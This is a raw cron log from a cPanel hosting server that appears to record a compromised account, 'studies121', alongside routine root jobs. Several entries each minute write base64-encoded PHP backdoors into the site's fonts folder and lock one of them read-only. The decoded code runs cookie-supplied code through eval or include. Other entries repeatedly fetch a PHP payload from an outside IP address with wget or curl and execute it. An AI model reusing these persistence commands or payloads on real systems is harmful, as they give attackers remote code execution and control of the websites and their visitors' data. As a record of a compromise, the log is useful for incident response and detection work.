Sep 12 08:19:01 ip-184-168-122-23 CROND[25345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:19:01 ip-184-168-122-23 CROND[25346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:19:01 ip-184-168-122-23 CROND[25347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:20:01 ip-184-168-122-23 CROND[25542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:20:01 ip-184-168-122-23 CROND[25543]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:20:01 ip-184-168-122-23 CROND[25546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:20:01 ip-184-168-122-23 CROND[25547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:20:01 ip-184-168-122-23 CROND[25551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:20:01 ip-184-168-122-23 CROND[25549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:20:01 ip-184-168-122-23 CROND[25552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:20:01 ip-184-168-122-23 CROND[25550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:20:01 ip-184-168-122-23 CROND[25554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:21:01 ip-184-168-122-23 CROND[25652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:21:01 ip-184-168-122-23 CROND[25654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:21:01 ip-184-168-122-23 CROND[25655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:21:01 ip-184-168-122-23 CROND[25656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:22:01 ip-184-168-122-23 CROND[25775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:22:01 ip-184-168-122-23 CROND[25778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:22:02 ip-184-168-122-23 CROND[25777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:22:02 ip-184-168-122-23 CROND[25779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:22:02 ip-184-168-122-23 CROND[25781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:23:01 ip-184-168-122-23 CROND[25901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:23:01 ip-184-168-122-23 CROND[25904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:23:01 ip-184-168-122-23 CROND[25905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:23:01 ip-184-168-122-23 CROND[25903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:24:01 ip-184-168-122-23 CROND[26026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:24:01 ip-184-168-122-23 CROND[26024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:24:01 ip-184-168-122-23 CROND[26027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:24:01 ip-184-168-122-23 CROND[26025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:24:01 ip-184-168-122-23 CROND[26028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:25:01 ip-184-168-122-23 CROND[26204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:25:01 ip-184-168-122-23 CROND[26206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:25:01 ip-184-168-122-23 CROND[26209]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 08:25:01 ip-184-168-122-23 CROND[26211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:25:01 ip-184-168-122-23 CROND[26208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:25:01 ip-184-168-122-23 CROND[26210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:25:01 ip-184-168-122-23 CROND[26207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:26:01 ip-184-168-122-23 CROND[26307]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 12 08:26:01 ip-184-168-122-23 CROND[26308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:26:01 ip-184-168-122-23 CROND[26310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:26:01 ip-184-168-122-23 CROND[26313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:26:01 ip-184-168-122-23 CROND[26311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:26:01 ip-184-168-122-23 CROND[26312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 12 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 12 08:27:01 ip-184-168-122-23 CROND[26472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:27:01 ip-184-168-122-23 CROND[26475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:27:01 ip-184-168-122-23 CROND[26476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:27:01 ip-184-168-122-23 CROND[26474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:28:01 ip-184-168-122-23 CROND[26565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:28:01 ip-184-168-122-23 CROND[26567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:28:01 ip-184-168-122-23 CROND[26569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:28:01 ip-184-168-122-23 CROND[26568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:28:01 ip-184-168-122-23 CROND[26570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:29:01 ip-184-168-122-23 CROND[26656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:29:01 ip-184-168-122-23 CROND[26655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:29:01 ip-184-168-122-23 CROND[26657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:29:01 ip-184-168-122-23 CROND[26658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:30:01 ip-184-168-122-23 CROND[26848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:30:01 ip-184-168-122-23 CROND[26853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:30:01 ip-184-168-122-23 CROND[26855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:30:01 ip-184-168-122-23 CROND[26856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:30:01 ip-184-168-122-23 CROND[26854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:30:01 ip-184-168-122-23 CROND[26851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:30:01 ip-184-168-122-23 CROND[26852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:30:01 ip-184-168-122-23 CROND[26857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:30:01 ip-184-168-122-23 CROND[26858]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 08:31:01 ip-184-168-122-23 CROND[26953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:31:01 ip-184-168-122-23 CROND[26954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
